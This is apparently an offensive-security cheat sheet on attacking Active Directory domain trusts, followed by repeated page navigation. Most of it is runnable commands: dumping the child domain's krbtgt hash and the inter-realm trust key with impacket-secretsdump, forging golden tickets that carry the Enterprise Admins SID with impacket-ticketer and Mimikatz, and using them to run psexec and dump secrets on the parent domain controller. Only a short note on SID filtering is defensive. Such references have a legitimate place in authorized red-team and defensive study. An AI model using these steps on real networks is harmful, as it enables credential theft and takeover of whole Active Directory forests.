Domain Trusts

Enumerate Trusts

PowerShell

Get-ADTrust -Filter *
nltest /domain_trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

PowerView

Get-DomainTrust
Get-DomainTrust -Domain parent.domain.local

BloodHound

Map → Domain Trusts view.

Trust Types

Type	Direction	Description
Parent-Child	Bidirectional	Automatic between parent/child domains
Tree-Root	Bidirectional	Between trees in same forest
External	One/Bi	Between domains in different forests
Forest	One/Bi	Between forest root domains

Parent-Child — Escalation via Golden Ticket

Child domain → parent domain via SID History in golden ticket.

Get krbtgt from Child

impacket-secretsdump CHILD/admin:pass@CHILD_DC -just-dc-user krbtgt

Get Parent Domain SID

impacket-lookupsid CHILD/admin:pass@PARENT_DC

Forge Inter-Realm TGT

impacket-ticketer -nthash CHILD_KRBTGT_HASH -domain-sid CHILD_SID -domain child.domain.local -extra-sid S-1-5-21-PARENT-SID-519 administrator

-519 = Enterprise Admins.

Use

export KRB5CCNAME=administrator.ccache
impacket-psexec child.domain.local/administrator@PARENT_DC -k -no-pass
impacket-secretsdump child.domain.local/administrator@PARENT_DC -k -no-pass

Mimikatz

kerberos::golden /user:Administrator /domain:child.domain.local /sid:CHILD_SID /krbtgt:CHILD_KRBTGT /sids:S-1-5-21-PARENT-SID-519 /ptt

Trust Key Attack

Use inter-realm trust key instead of krbtgt.

Get Trust Key

impacket-secretsdump CHILD/admin:pass@CHILD_DC -just-dc-user 'PARENT$'

Forge

impacket-ticketer -nthash TRUST_KEY -domain-sid CHILD_SID -domain child.domain.local -extra-sid S-1-5-21-PARENT-SID-519 -spn krbtgt/PARENT.DOMAIN.LOCAL administrator

SID Filtering

Intra-forest trusts: SID filtering not applied (by default)
External/forest trusts: SID filtering applied (blocks SID history)
Selective authentication: limits which users can auth across trust

Quick Reference

Task	Command
Enum trusts	`Get-ADTrust -Filter *`
Child → Parent	Golden ticket with `-extra-sid PARENT-519`
Trust key	`secretsdump -just-dc-user 'PARENT$'`
SID filtering	Blocks SID history on external trusts

Enumeration

Attacks

Lateral Movement

Persistence

ADCS

Trust Attacks

BloodHound

Enumerate Trusts

PowerShell

PowerView

BloodHound

Trust Types

Parent-Child — Escalation via Golden Ticket

Get krbtgt from Child

Get Parent Domain SID

Forge Inter-Realm TGT

Use

Mimikatz

Trust Key Attack

Get Trust Key

Forge

SID Filtering

Quick Reference

​Enumerate Trusts

​PowerShell

​PowerView

​BloodHound

​Trust Types

​Parent-Child — Escalation via Golden Ticket

​Get krbtgt from Child

​Get Parent Domain SID

​Forge Inter-Realm TGT

​Use

​Mimikatz

​Trust Key Attack

​Get Trust Key

​Forge

​SID Filtering

​Quick Reference

Enumerate Trusts

PowerShell

PowerView

BloodHound

Trust Types

Parent-Child — Escalation via Golden Ticket

Get krbtgt from Child

Get Parent Domain SID

Forge Inter-Realm TGT

Use

Mimikatz

Trust Key Attack

Get Trust Key

Forge

SID Filtering

Quick Reference